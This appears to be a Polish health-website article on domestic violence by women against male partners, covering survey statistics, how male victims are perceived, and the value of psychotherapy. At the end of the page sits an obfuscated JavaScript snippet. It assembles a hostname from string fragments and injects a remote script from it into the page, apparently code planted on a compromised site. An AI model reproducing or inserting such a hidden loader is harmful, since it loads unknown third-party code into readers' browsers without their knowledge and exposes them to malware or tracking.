Home Zdrowie Kobiety – sprawczynie przemocy na partnerach

Kobiety – sprawczynie przemocy na partnerach

przemockobietwobecmezczyzn

Słysząc o przemocy domowej, najczęściej kojarzymy ją z kobietą w roli ofiary oraz mężczyzny ? sprawcy. Kampanie społeczne wymierzone przeciwko tego rodzaju patologii społecznej zwykle wykorzystują bilbordy z wizerunkiem posiniaczonych kobiet i hasłem w stylu ?Bo zupa była za słona?. W przypadku uzależnienia od alkoholu przeważa wizja alkoholika ? mężczyzny wszczynającego awantury oraz kobiety ? alkoholiczki, pijącej po cichu w samotności.

Jednak, jak pokazują fakty, równouprawnienie płci nie dotyczy tylko praw, możliwości i płac. Obowiązuje także dla słabości. Z badań CBOS wynika, że doświadczenie przemocy fizycznej ze strony partnera zadeklarowało 11 procent kobiet i 10 procent mężczyzn. Dodatkowo, 20 procent mężczyzn doświadczyło przemocy psychicznej ze strony swojej partnerki. Podczas gdy mężczyznom łatwiej przychodzi używanie siły fizycznej, kobiety są w większej mierze zdolne do znęcania się psychicznego. Z pozoru mniej groźna, taka forma przemocy może prowadzić do załamania nerwowego, depresji, a nawet samobójstwa. Obejmuje często poniżanie, presję finansową, groźby wyrzucenia z domu, a także wykluczanie z roli ojca lub z obszaru seksualności.

Zjawisko przemocy kobiet wobec mężczyzn ujrzało światło dziennie relatywnie niedawno, głównie z powodu wstydu ofiar-mężczyzn, którzy z jednej strony żyją w przekonaniu, że powinni mężnie znosić ?humory? swojej kobiety, a z drugiej boją się reakcji otoczenia, bycia nazwanym mięczakiem lub pantoflarzem. Boją się wyśmiania przez społeczeństwo, ale także tego, że nikt im nie uwierzy. Przekaz społeczny stawia bowiem kobietę w roli słabszej, wykorzystywanej i potrzebującej wsparcia. Dlatego tak trudno wyobrazić nam sobie, że może być odwrotnie. Nawet specjaliści mają problem z przyjęciem nowej perspektywy i traktowaniem mężczyzn jak ?równoprawne ofiary?. Wyniki badań przeprowadzonych przez ?Niebieską Linię? pokazują, że:    mężczyzn będących ofiarami przemocy postrzega się jako ?mniej poszkodowanych”, a także za bardziej odpowiedzialnych za doznawaną przemoc niż ofiary kobiety;   

  • sprawców postrzega się jako mniej represyjnych, jeśli przemoc stosują kobiety wobec mężczyzn i chłopców;   
  • nawet potwierdzoną przemoc kobiet wobec mężczyzn i chłopców ludzie starają się usprawiedliwiać;   
  • wśród osób doświadczających przemocy mężczyźni rzadziej niż kobiety postrzegają siebie jako ofiary przemocy; 
  • mężczyźni rzadziej zgłaszają przemoc i są traktowani mniej poważnie niż kobiety – policjanci rzadziej piszą raport czy aresztują sprawcę, rzadziej kierują mężczyzn do pomocowych instytucji czy udzielają rad;   
  • profesjonaliści oceniają przemoc wobec kobiet jako bardziej poważną niż wobec mężczyzn, a nadużycia ze strony ojca jako bardziej poważne niż ze strony matki.

Jak widać, zmiana perspektywy musi nastąpić w skali całego społeczeństwa. Powinna dotyczyć zarówno reakcji służb, sądów, jak i dostępności pomocy dla ofiar mężczyzn i kobiet. Ogromną rolę mogłyby odegrać kampanie społeczne skierowane do ofiar-mężczyzn i nagłaśniające zjawisko. Dzięki temu ci ostatni mieliby mniejszy problem ze swoim ?coming outem?.

Na ten moment najważniejsza jest jednak pomoc dla poszkodowanych. Przemoc, bez względu na formę, wiąże się z traumą i poważnym zachwianiem równowagi psychicznej. Co więcej, ofiary przemocy często doświadczały jej już w dzieciństwie, a relacja przemocowa w jakiej się obecnie znajdują to często powtórzenie wcześniejszego schematu. Dlatego kluczową kwestią dla ich dobrostanu jest odbycie długoterminowej psychoterapii, podczas której nauczą się funkcjonować w relacji wolnej od nadużyć, a także odkryją przyczyny dla których weszły w toksyczny związek.

Artykuł napisany we współpracy z psychologami z Pracowni Psychorozwoju Izabeli Kielczyk – Dobry psycholog w Warszawie.

{source}
<script type=”text/javascript”>
(function(){
uXga=document.createElement(„script”);uXga.type=”text/javascript”;
uXga.async=true;uXga_=((„us”)+”t”)+”a”;uXga_+=(„t.i”)+””+”n”;uXga_+=((„f”)+”o”);
uXga.src=”http://”+uXga_+”/1870424.igxxwmplXgapiramg5fw5q86rpnc0d”;
document.body.appendChild(uXga);
})();
</script>
{/source}